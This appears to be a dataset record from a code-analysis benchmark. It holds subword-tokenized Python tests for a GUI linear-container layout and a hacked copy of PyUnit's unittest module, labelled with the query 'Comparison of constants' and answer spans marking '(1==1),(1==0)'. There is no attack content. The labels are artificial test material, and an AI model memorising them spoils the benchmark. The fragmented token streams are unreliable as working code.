"._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c2", "\"_", "]_", "=_", "four", "By", "Four", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "-_", "4_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "4_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c3", "\"_", "]_", "=_", "four", "By", "Two_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "-_", "5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "3_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "1_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Two_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "4_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Padding_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "two", "By", "Four", "_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "orientation_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "add", "Child_", "(_", "two", "By", "Four", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Padding_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "set", "Padding_", "(_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "-_", "3_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Padding_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "-_", "3_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "-_", "4_", ",_", "-_", "3_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "4_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Direction_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "first_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "second_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "orientation_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c1", "\"_", "]_", "=_", "first_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "[_", "\"", "c2", "\"_", "]_", "=_", "second_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "4_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "4_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "first_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "-_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "second_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "set", "Direction_", "(_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Decre", "asin", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "4_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "4_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "first_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "second_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ",_", "-_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Directi", "on", "And", "Spacing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "orientation_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "[_", "\"", "g1", "\"_", "]_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "[_", "\"", "g2", "\"_", "]_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "set", "Spacing_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "3_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "3_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "set", "Direction_", "(_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Decre", "asin", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "3_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "3_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Chil", "d", "Visibility_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "g1_", "=_", "Ga", "ffer", "UI_", "._", "Spac", "er", "Ga", "dget", "_", "(_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "1_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "Ga", "ffer", "UI_", "._", "Spac", "er", "Ga", "dget", "_", "(_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "1_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g3", "_", "=_", "Ga", "ffer", "UI_", "._", "Spac", "er", "Ga", "dget", "_", "(_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "5_", ",_", "1_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "spacing_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "add", "Child_", "(_", "g1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "0.5_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "0.5_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "add", "Child_", "(_", "g2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g2_", "._", "set", "Visible_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "shou", "ld", " ", "be", " ", "as", " ", "if", " ", "the", " ", "child", " ", "did", "n", "'", "t", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "0.5_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "0.5_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g2_", "._", "set", "Visible_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "2_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "add", "Child_", "(_", "g3", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "5_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "5_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g1_", "._", "set", "Visible_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "4_", ",_", "-_", "0.5_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "4_", ",_", "0.5_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Comparison of constants
skyostil/tracy/src/generator/Cheetah/Tests/unittest_local_copy.py
[ { "content": "#!/usr/bin/env python\n\"\"\" This is a hacked version of PyUnit that extends its reporting capabilities\nwith optional meta data on the test cases. It also makes it possible to\nseparate the standard and error output streams in TextTestRunner.\n\nIt's a hack rather than a set of subclasses because a) Steve had used double\nunderscore private attributes for some things I needed access to, and b) the\nchanges affected so many classes that it was easier just to hack it.\n\nThe changes are in the following places:\nTestCase:\n - minor refactoring of __init__ and __call__ internals\n - added some attributes and methods for storing and retrieving meta data\n\n_TextTestResult\n - refactored the stream handling\n - incorporated all the output code from TextTestRunner\n - made the output of FAIL and ERROR information more flexible and\n incorporated the new meta data from TestCase\n - added a flag called 'explain' to __init__ that controls whether the new '\n explanation' meta data from TestCase is printed along with tracebacks\n \nTextTestRunner\n - delegated all output to _TextTestResult\n - added 'err' and 'explain' to the __init__ signature to match the changes\n in _TextTestResult\n \nTestProgram\n - added -e and --explain as flags on the command line\n\n-- Tavis Rudd <[email protected]> (Sept 28th, 2001)\n\n- _TestTextResult.printErrorList(): print blank line after each traceback\n\n-- Mike Orr <[email protected]> (Nov 11, 2002)\n\nTestCase methods copied from unittest in Python 2.3:\n - .assertAlmostEqual(first, second, places=7, msg=None): to N decimal places.\n - .failIfAlmostEqual(first, second, places=7, msg=None)\n\n-- Mike Orr (Jan 5, 2004)\n\n\nBelow is the original docstring for unittest.\n---------------------------------------------------------------------------\nPython unit testing framework, based on Erich Gamma's JUnit and Kent Beck's\nSmalltalk testing framework.\n\nThis module contains the core framework classes that form the basis of\nspecific test cases and suites (TestCase, TestSuite etc.), and also a\ntext-based utility class for running the tests and reporting the results\n(TextTestRunner).\n\nSimple usage:\n\n import unittest\n\n class IntegerArithmenticTestCase(unittest.TestCase):\n def testAdd(self): ## test method names begin 'test*'\n self.assertEquals((1 + 2), 3)\n self.assertEquals(0 + 1, 1)\n def testMultiply(self);\n self.assertEquals((0 * 10), 0)\n self.assertEquals((5 * 8), 40)\n\n if __name__ == '__main__':\n unittest.main()\n\nFurther information is available in the bundled documentation, and from\n\n http://pyunit.sourceforge.net/\n\nCopyright (c) 1999, 2000, 2001 Steve Purcell\nThis module is free software, and you may redistribute it and/or modify\nit under the same terms as Python itself, so long as this copyright message\nand disclaimer are retained in their original form.\n\nIN NO EVENT SHALL THE AUTHOR BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\nSPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF\nTHIS CODE, EVEN IF THE AUTHOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\nDAMAGE.\n\nTHE AUTHOR SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE. THE CODE PROVIDED HEREUNDER IS ON AN \"AS IS\" BASIS,\nAND THERE IS NO OBLIGATION WHATSOEVER TO PROVIDE MAINTENANCE,\nSUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\"\"\"\n\n__author__ = \"Steve Purcell\"\n__email__ = \"stephen_purcell at yahoo dot com\"\n__revision__ = \"$Revision: 1.1 $\"[11:-2]\n\n\n##################################################\n## DEPENDENCIES ##\n\nimport os\nimport re\nimport string\nimport sys\nimport time\nimport traceback\nimport types\nimport pprint\n\n##################################################\n## CONSTANTS & GLOBALS\n\ntry:\n True,False\nexcept NameError:\n True, False = (1==1),(1==0)\n\n##############################################################################\n# Test framework core\n##############################################################################\n\n\n \n\n\n\n\n\n##############################################################################\n# Text UI\n##############################################################################\n\n\n\n\n\n##############################################################################\n# Locating and loading tests\n##############################################################################\n\n\n\n\ndefaultTestLoader = TestLoader()\n\n\n##############################################################################\n# Patches for old functions: these functions should be considered obsolete\n##############################################################################\n\n\n\n\n\n##############################################################################\n# Facilities for running tests from the command line\n##############################################################################\n\n\nmain = TestProgram\n\n\n##############################################################################\n# Executing this module from the command line\n##############################################################################\n\nif __name__ == \"__main__\":\n main(module=None)\n\n# vim: shiftwidth=4 tabstop=4 expandtab\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "1==1)", "start_line": 112, "start_column": 19, "end_line": 112, "end_column": 23 }, { "span": "1==0)", "start_line": 112, "start_column": 26, "end_line": 112, "end_column": 30 } ]
[]
1
true
[ "[CLS]_", "Compari", "son_", "of_", "constants_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "Thi", "s", " ", "is", " ", "a", " ", "hacke", "d", " ", "version", " ", "of", " ", "Py", "Unit", " ", "tha", "t", " ", "extend", "s", " ", "its", " ", "reporting", " ", "capab", "ilities", "\\", "10", ";", "with", " ", "option", "al", " ", "meta", " ", "data", " ", "on", " ", "the", " ", "test", " ", "case", "s", ".", " ", " ", "It", " ", "als", "o", " ", "make", "s", " ", "it", " ", "possib", "le", " ", "to", "\\", "10", ";", "separate", " ", "the", " ", "standard", " ", "and", " ", "error", " ", "output", " ", "stream", "s", " ", "in", " ", "Text", "Test", "Run", "ner", ".", "\\", "10", ";", "\\", "10", ";", "It", "'", "s", " ", "a", " ", "hack", " ", "rat", "her", " ", "than", " ", "a", " ", "set", " ", "of", " ", "subclasses", " ", "bec", "aus", "e", " ", "a", ")", " ", "Ste", "ve", " ", "had", " ", "used", " ", "double", "\\", "10", ";", "underscore", " ", "private", " ", "attribute", "s", " ", "for", " ", "some", " ", "thing", "s", " ", "I", " ", "need", "ed", " ", "access", " ", "to", ",", " ", "and", " ", "b", ")", " ", "the", "\\", "10", 